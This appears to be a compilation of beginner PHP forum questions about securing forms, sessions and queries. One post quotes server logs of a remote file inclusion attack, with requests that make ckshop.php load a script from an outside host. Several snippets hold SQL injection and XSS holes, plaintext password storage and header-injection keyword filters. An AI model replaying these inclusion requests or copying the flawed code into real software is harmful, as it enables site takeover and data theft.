PHP - Security Question Regarding Processing Forms

Hi,

My ISP doesn't allow direct access to mysql Server so I created a bridge and stored the PHP code in the main web folder (https://www.mydomain.com/post.php).

The bridge works fine and is used mainly for my IOT projects.

In the same web folder, is located the conn.php code containing the server's credentials.

The question is, how safe is the PHP code at that location? I can create a subfolder but not sure if it matters as far as security is concerned.

TIA

Hey people, I was going over an old script of mine the other day and I ran I web vulnerability scanner on it to see how secure it was and I got an XSS warning, now this puzzles me because I am not entirely sure how this affects the script and what can/can't be done, this script is old so I will paste the relevant bits in here, it was playing with the $page variable.  What damage could you do and how would you remedy the problem?

Code: [Select]
if(isset($_GET['page'])) {
if($_GET['page'] > $numpages) {
$page = 1;
} else {
$page = $_GET['page'];
}
} else {
$page = 1;
}


echo ('<strong style="margin-top: 4px; margin-left: 3px;">Page ' . $page . ' of ' . $numpages . '</strong></p>');

By putting a non-number in there like hello.php?page=Hello, it simply output the word hello so I am not fully sure what the security implications are and how insecure it really is.

Might sound like a dumb question but it's been nagging at me.

Thanks for reading!

Hi everyone!
I have a question that might sound silly...
I have stored in my database a url to a pic and some other data.
 I am unsure if when I retreive data from my database I need some sort of protection. I usually sanitize and prevent SQl injections when I code forms but I am not sure if I have to do the same when I get data from the database.

Thanks for your help.

Veronica

HI all,

I have a book with some nice examples, but often i wonder if they are that secure for displaying and using outside the production area.

One of them is this.
A form is created by using a while loop that gets data(email addresses) from a database and shows them with check boxes. after that someone can select the e-mailaddress they don't like and delete them from the database.
here is some code:

<?php
        //....
        $result = mysqli_query($dbc,$query);

        while ($row = mysqli_fetch_array($result)){
            echo '<input type="checkbox" value"'.$row['id'].'"name="todelete[]"/>';
            echo $row['firstname'];
        }

        //.........deleting part
        if (isset($_POST['submit'])){
        foreach($_POST['todelete'] as $delete_id){
            
            $query = "DELETE FROM email_list WHERE ID = $delete_id";
                mysqli_query ($dbc, $query)
                        or die ('error querying databse');
                       
            }
        }
        //....
?>

I have two questions:
-> is this a smart way of deleting stuff? since you are going to use multiple queries instead of 1 in the for each loop.
-> besides not using mysqli_real_escape_string, isn't this application allowing someone to alter the POST-array (todelete) to any value he likes? At least that's what i think can happen. If anyone knows a nice way to do this more secure , I would love to here it, because i don't really trust the html array created.

Thanks in advance!

Im making a map atm which will have tokens"not sure what you call them" in the link like
map.php?id=token

Well I dont want a 3rd party coming along in the future and making their own map using my y and x cords.
So I was thinking maybe the best way around this is to use a encryption in the link? so encrypting the x and y cords in the link.

Anyone have any ideas on this.

Also I was wondering is it impossible for php to know when somone clicks a link? I was googling around and it doesnt seem like you cant simply use a $_POST for a link

Apologies for the lame subject title - I don't know what to call this thread.

Last year, before I'd ever opened a book on php, my site was hacked.
I was using a third party e-commerce script 'Cart Keeper' (since replaced).

Somehow, the hackers planted some files on my server that looked like official bank pages (I'm sure you've all seen the sort of thing).

Here are some log files sent by my host at that time...

Quote

"GET
//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.805"
www.example.com 89.38.128.43 - - [19/Jun/2009:11:58:48 +0100]
"GET
//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.65"
www.example.com 89.38.128.43 - - [19/Jun/2009:11:58:49 +0100]
"GET
//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.65"
www.example.com 89.38.128.43 - - [19/Jun/2009:11:59:24 +0100]
"GET
/arts//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 302 313 "-" "libwww-perl/5.65"
www.example.com 66.249.134.74 - - [19/Jun/2009:12:01:26 +0100]
"GET
//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.805"
www.example.com 66.249.134.74 - - [19/Jun/2009:12:01:28 +0100]
"GET
//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.805"
www.example.com 66.249.134.74 - - [19/Jun/2009:12:01:32 +0100]
"GET
/ckshop.php?category=21//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 42 "-" "libwww-perl/5.805"
www.example.com 89.38.128.43 - - [19/Jun/2009:12:01:47 +0100]
"GET
/ckshop.php//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.65"
www.example.com 89.38.128.43 - - [19/Jun/2009:12:01:48 +0100]
"GET
/ckshop.php//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.65"
www.example.com 89.38.128.43 - - [19/Jun/2009:12:01:49 +0100]
"GET
/ckshop.php?category=21//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 42 "-" "libwww-perl/5.65"
www.example.com 89.38.128.43 - - [19/Jun/2009:11:58:52 +0100]
"GET //ckshop.php?incdir=http://racrew.us/ec.txt?? HTTP/1.1" 200 357 "-"
"libwww-perl/5.65"


and here is what they wrote to me at the time...

Quote

The majority of these files where then caught by our egress firewall as
they had completed as the file in question had allowed the http user to
call a shell and use a variety of code (wget lwp et al) to call in
external toolkits.

This attack was mostly mechanised, however was changing so it is my
belief that the perpetrator was reconfiguring the attack as he went as
failures where seen.

Please check your site code for possible updates, security updates, and
ensure that no files have been changed that should not have been.

Please confirm that you have read this mail and are aware of the
implications / taking action.



Can someone identify the name of this type of attack?
...and possibly a tutorial on securing against this form of attack?
As I am learning php, I would like to make sure it doesn't happen again.


Many thanks for your help

I have a business social network site on hosting server. I am wondering if sessions are enough secure.
ini_set('session.use_only_cookies', 1); //this prevent Session Fixation?
session_start();

if($_SESSION['loggedIn'] && $_SESSION['userIP']==$_SERVER["REMOTE_ADDR"]) // extra security
//user is logged in, assign all data to this profile from session
else
//user is not logged in, no data are assigned

Would you consider that as enough secure?

Hi all,

I have heard stories that hackers/viruses or basically something that you don't want uploaded to a server through a website form have been able to type some sort of code in to a html form field to access information.

I know how to control the length of fields, how to validate that an email address is in the correct format etc. - but when it comes to having a textfield for the user to add up to 2000 characters of their own words, how can I protect from malicious code being inserted?

The textfield is located inside the user area but anyone can join, so anyone ultimately can enter code!

Thanks for the help. 

I have a login system that uses a flat file database.  The flat file is in a directory outside the public_html.  My questions;

1- Is is still possible to hack into that file?

Currently I do not encrypt the passwords as I have been told that having the file outside the public_html makes the file unavailable to the public.  This allows me the advantage of sending the Username and Password to the user in an email if they forget there password or username.  Otherwise- I would have to set up a more complicated method to allow them to change their password to re-gain access to the site.  I have an SSL on the site also so I am not worried about packet sniffing.

Thanks

I am trying to keep the user input clean with this script but can't figure out what is wrong with it.
the error I am getting is Warning: preg_match() expects parameter 1 to be string,

 $bad_strings = array(
                "content-type:",
                "mime-version:",
                "multipart/mixed",
"Content-Transfer-Encoding:",
                "bcc:",
"cc:",
"to:",
   );
if (preg_match($bad_strings, $first_name)) {
    die;

Hi Guys

I have built a simple form, which has text fields Name, Telephone Number, Best Time to Call and E-mail.  For security purposes, I am testing each against the function shown below which looks for dangerous code snippets, in an effort to protect against email header injection attacks. 

When it comes to the E-mail field, I am not actually testing whether a valid e-mail address has been entered, as it is the telephone number which is essential, not the e-mail.  My question is, do you think this is a security weakness? 

Many thanks

Code: [Select]
//http://www.tonyspencer.com/2005/12/15/email-injection-exploit-through-a-php-contact-form/
//preg_match string to match goes within forward slashes, i.e. /str/, and i at the end makes it case insensitive
function containsInjectionAttempt($input) {
if (preg_match("/\r/i", $input) ||
preg_match("/\n/i", $input) ||
preg_match("/%0a/i", $input) ||
preg_match("/%0d/i", $input) ||
preg_match("/Content-Type:/i", $input) ||
preg_match("/<script>/i", $input) ||
preg_match("/bcc:/i", $input) ||
preg_match("/to:/i", $input) ||
preg_match("/cc:/i", $input)) {
return true;
} else {
return false;
}
}

Hello, all: I'm a newbie and I'm trying to understand the whole php security thing a bit better, and found this function that seems easy to implement, as well as easy to understand... my question is...

Does this means I could use regular $_POST, $_GET, $_COOKIE, $_REQUEST variables without having to individually worry about escaping them every time I use them in queries... is this correct? or safe enough? see example below, along with how I'm using variable in a query...  it seems to be working fine, as it does echo out the \ escape character when I test it, or when I try to inject it...

Appreciate your input!


Code: [Select]
<?php

$_POST=sanitize($_POST);
$_GET=sanitize($_GET);
$_COOKIE=sanitize($_COOKIE);
$_REQUEST=sanitize($_REQUEST);

function sanitize($input){
if(is_array($input)){
foreach($input as $k=>$i){
$output[$k]=sanitize($i);
}
}
else{
if(get_magic_quotes_gpc()){
$input=stripslashes($input);
}
$output=mysql_real_escape_string($input);
}
return $output;
}


// mysql query then I could use be:

$money = $_GET['money'];
$result = mysql_query("SELECT * FROM countries WHERE currencies = '$money'");

 
?>

I'm almost embarrassed to ask such a simple question but I just cannot get this to work.  I'm trying to figure out how to use sessions  that takes the information from a form on the first page and displays it on the last.
I have this on page 1:
<?php
session_start();
?>
<form action="test2.php" method="post">
<p>Page 1</p>
<p>First Name <input type="text" name="first" /></p>
 
<p><input type="submit" value="Next page 2"  /></p>

And this for page 2:
<?php
SESSION_START();

$_SESSION['first'] = $_POST['first'];
echo $_SESSION['first'] = $_POST['first'];

?>
<form action="test3.php" method="post">
<p>Page 2</p>
<input type="submit" value="Next page 3" />
</form>

And this for page 3:
<?php
SESSION_START();

$_SESSION['first'] = $_POST['first'];
echo $_SESSION['first'] = $_POST['first'];

?>

<p>Page 3</p>
<p>You're done</p>

I can get it to display on page 2 but not on page 3.  Can anyone tell me why?  I've been at this for a long time and it should be simple but I cannot get it to work.  Thanks in advance.

Alright, so I just started picking up PHP again and I have a pretty simple question. I have a html form that takes a string then writes it on another page. My problem is when I use quotations I'll get slashes in them on the page it writes the string on.

Is there a way to clean that stuff up?

Can you take a look at this page?  It uses php code that I have been creating.  I need it to accept the form even if checkboxes are left empty.  Currently it comes up with an error.

http://www.pilotrock.com/color_contact/

Here is the PHP code:

<?php

if(isset($_POST['Email_Address'])) {
   
   include 'lite_settings.php';
   
   function died($error) {
      echo "Sorry, but there were error(s) found with the form you submitted. ";
      echo "These errors appear below.<br /><br />";
      echo $error."<br /><br />";
      echo "Please go back and fix these errors.<br /><br />";
      die();
   }
   
   if(!isset($_POST['organization']) ||
       !isset($_POST['Full_Name']) ||
      !isset($_POST['title']) ||
      !isset($_POST['company']) ||
      !isset($_POST['address']) ||
      !isset($_POST['city_state']) ||
      !isset($_POST['zip']) ||
      !isset($_POST['Telephone_Number']) ||
      !isset($_POST['cell_phone']) ||
      !isset($_POST['fax']) ||
      !isset($_POST['Email_Address']) ||
      !isset($_POST['confirm_email']) ||
      !isset($_POST['powder_coated_steel_blue']) ||
      !isset($_POST['powder_coated_steel_black']) ||
      !isset($_POST['powder_coated_steel_green']) ||
      !isset($_POST['powder_coated_steel_brown']) ||
      !isset($_POST['powder_coated_steel_yellow']) ||
      !isset($_POST['powder_coated_steel_red']) ||
      !isset($_POST['powder_coated_steel_gray']) ||
      !isset($_POST['powder_coated_steel_burgendy']) ||
      !isset($_POST['thermo_plastic_coated_type_expanded']) ||
      !isset($_POST['thermo_plastic_coated_type_perforated']) ||
      !isset($_POST['thermo_plastic_coated_black']) ||
      !isset($_POST['thermo_plastic_coated_blue']) ||
      !isset($_POST['thermo_plastic_coated_brown']) ||
      !isset($_POST['thermo_plastic_coated_gray']) ||
      !isset($_POST['thermo_plastic_coated_red']) ||
      !isset($_POST['thermo_plastic_coated_green']) ||
      !isset($_POST['recycle_plastic_red']) ||
      !isset($_POST['recycle_plastic_yellow']) ||
      !isset($_POST['recycle_plastic_black']) ||
      !isset($_POST['recycle_plastic_blue']) ||
      !isset($_POST['recycle_plastic_gold']) ||
      !isset($_POST['recycle_plastic_redwood']) ||
      !isset($_POST['recycle_plastic_cedar']) ||
      !isset($_POST['recycle_plastic_green']) ||
      !isset($_POST['recycle_plastic_gray']) ||
      !isset($_POST['recycle_plastic_brown'])) {
      died('We are sorry, but there appears to be a problem with the form you submitted.');     
   }
   
   $organization = $_POST['organization']; // required
   $full_name = $_POST['Full_Name']; // required
   $title = $_POST['title']; // not required
   $company = $_POST['company']; // not required
   $address = $_POST['address']; // required
   $city_state = $_POST['city_state']; // required
   $zip = $_POST['zip']; // required
   $telephone = $_POST['Telephone_Number']; // required
   $cell_phone = $_POST['cell_phone']; // not required
   $fax = $_POST['fax']; // not required
   $email_from = $_POST['Email_Address']; // required
   $confirm_email = $_POST['confirm_email']; // required
   $powder_coated_steel_blue = $_POST['powder_coated_steel_blue']; // required
   $powder_coated_steel_black = $_POST['powder_coated_steel_black']; // required
   $powder_coated_steel_green = $_POST['powder_coated_steel_green']; // required
   $powder_coated_steel_brown = $_POST['powder_coated_steel_brown']; // required
   $powder_coated_steel_yellow = $_POST['powder_coated_steel_yellow']; // required
   $powder_coated_steel_red = $_POST['powder_coated_steel_red']; // required
   $powder_coated_steel_gray = $_POST['powder_coated_steel_gray']; // required
   $powder_coated_steel_burgendy = $_POST['powder_coated_steel_burgendy']; // required
   $thermo_plastic_coated_type_expanded = $_POST['thermo_plastic_coated_type_expanded']; // required
   $thermo_plastic_coated_type_perforated = $_POST['thermo_plastic_coated_type_perforated']; // required
   $thermo_plastic_coated_black = $_POST['thermo_plastic_coated_black']; // required
   $thermo_plastic_coated_blue = $_POST['thermo_plastic_coated_blue']; // required
   $thermo_plastic_coated_brown = $_POST['thermo_plastic_coated_brown']; // required
   $thermo_plastic_coated_gray = $_POST['thermo_plastic_coated_gray']; // required
   $thermo_plastic_coated_red = $_POST['thermo_plastic_coated_red']; // required
   $thermo_plastic_coated_green = $_POST['thermo_plastic_coated_green']; // required
   $recycle_plastic_red = $_POST['recycle_plastic_red']; // required
   $recycle_plastic_yellow = $_POST['recycle_plastic_yellow']; // required
   $recycle_plastic_black = $_POST['recycle_plastic_black']; // required
   $recycle_plastic_blue = $_POST['recycle_plastic_blue']; // required
   $recycle_plastic_gold = $_POST['recycle_plastic_gold']; // required
   $recycle_plastic_redwood = $_POST['recycle_plastic_redwood']; // required
   $recycle_plastic_cedar = $_POST['recycle_plastic_cedar']; // required
   $recycle_plastic_green = $_POST['recycle_plastic_green']; // required
   $recycle_plastic_gray = $_POST['recycle_plastic_gray']; // required
   $recycle_plastic_brown = $_POST['recycle_plastic_brown']; // required
   
   $error_message = "";
   $email_exp = "^[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$";
  if(!eregi($email_exp,$email_from)) {
     $error_message .= 'The Email Address you entered does not appear to be valid.<br />';
  }
  if(strlen($full_name) < 2) {
     $error_message .= 'Your Name does not appear to be valid.<br />';
  }
  if(strlen($address) < 2) {
     $error_message .= 'Your Address does not appear to be valid.<br />';
  }
   if(strlen($city_state) < 2) {
     $error_message .= 'Your City/State does not appear to be valid.<br />';
  }
  if(strlen($zip) < 2) {
     $error_message .= 'Your Zip/Postal Code does not appear to be valid.<br />';
  }
  if(strlen($telephone) < 2) {
     $error_message .= 'Your Telephone Number does not appear to be valid.<br />';
  }
 
  if(strlen($error_message) > 0) {
     died($error_message);
  }
   $email_message = "Form details below.\r\n";
   
   function clean_string($string) {
     $bad = array("content-type","bcc:","to:","cc:","href");
     return str_replace($bad,"",$string);
   }
   
    $email_message .= "Organization: ".clean_string($organization)."\r\n";
   $email_message .= "Full Name: ".clean_string($full_name)."\r\n";
   $email_message .= "Title: ".clean_string($title)."\r\n";
   $email_message .= "Company Name: ".clean_string($company)."\r\n";
   $email_message .= "Street Address: ".clean_string($address)."\r\n";
   $email_message .= "City/State: ".clean_string($city_state)."\r\n";
   $email_message .= "ZIP/Postal Code: ".clean_string($zip)."\r\n";
   $email_message .= "Telephone: ".clean_string($telephone)."\r\n";
   $email_message .= "Cell Phone: ".clean_string($cell_phone)."\r\n";
   $email_message .= "Fax: ".clean_string($fax)."\r\n";
   $email_message .= "Email: ".clean_string($email_from)."\r\n";
   $email_message .= "Confirm Email: ".clean_string($confirm_email)."\r\n";
   $email_message .= "Powder Coated Steel Blue: ".clean_string($powder_coated_steel_blue)."\r\n";
   $email_message .= "Powder Coated Steel Black: ".clean_string($powder_coated_steel_black)."\r\n";
   $email_message .= "Powder Coated Steel Green: ".clean_string($powder_coated_steel_green)."\r\n";
   $email_message .= "Powder Coated Steel Brown: ".clean_string($powder_coated_steel_brown)."\r\n";
   $email_message .= "Powder Coated Steel Yellow: ".clean_string($powder_coated_steel_yellow)."\r\n";
   $email_message .= "Powder Coated Steel Red: ".clean_string($powder_coated_steel_red)."\r\n";
   $email_message .= "Powder Coated Steel Gray: ".clean_string($powder_coated_steel_gray)."\r\n";
   $email_message .= "Powder Coated Steel Burgendy: ".clean_string($powder_coated_steel_burgendy)."\r\n";
   $email_message .= "Thermo Plastic Coated Type Expanded: ".clean_string($thermo_plastic_coated_type_expanded)."\r\n";
   $email_message .= "Thermo Plastic Coated Type Perforated: ".clean_string($thermo_plastic_coated_type_perforated)."\r\n";
   $email_message .= "Thermo Plastic Coated Black: ".clean_string($thermo_plastic_coated_black)."\r\n";
   $email_message .= "Thermo Plastic Coated Blue: ".clean_string($thermo_plastic_coated_blue)."\r\n";
   $email_message .= "Thermo Plastic Coated Brown: ".clean_string($thermo_plastic_coated_brown)."\r\n";
   $email_message .= "Thermo Plastic Coated Gray: ".clean_string($thermo_plastic_coated_gray)."\r\n";
   $email_message .= "Thermo Plastic Coated Red: ".clean_string($thermo_plastic_coated_red)."\r\n";
   $email_message .= "Thermo Plastic Coated Green: ".clean_string($thermo_plastic_coated_green)."\r\n";
   $email_message .= "Recycle Plastic Red: ".clean_string($recycle_plastic_red)."\r\n";
   $email_message .= "Recycle Plastic Yellow: ".clean_string($recycle_plastic_yellow)."\r\n";
   $email_message .= "Recycle Plastic Black: ".clean_string($recycle_plastic_black)."\r\n";
   $email_message .= "Recycle Plastic Blue: ".clean_string($recycle_plastic_blue)."\r\n";
   $email_message .= "Recycle Plastic Gold: ".clean_string($recycle_plastic_gold)."\r\n";
   $email_message .= "Recycle Plastic Redwood: ".clean_string($recycle_plastic_redwood)."\r\n";
   $email_message .= "Recycle Plastic Cedar: ".clean_string($recycle_plastic_cedar)."\r\n";
   $email_message .= "Recycle Plastic Green: ".clean_string($recycle_plastic_green)."\r\n";
   $email_message .= "Recycle Plastic Gray: ".clean_string($recycle_plastic_gray)."\r\n";
   $email_message .= "Recycle Plastic Brown: ".clean_string($recycle_plastic_brown)."\r\n";
   
$headers = 'From: '.$email_from."\r\n".
'Reply-To: '.$email_from."\r\n" .
'X-Mailer: PHP/' . phpversion();
@mail($email_to, $email_subject, $email_message, $headers);
header("Location: $thankyou");
?>
<script>location.replace('<?php echo $thankyou;?>')</script>
<?
}
?>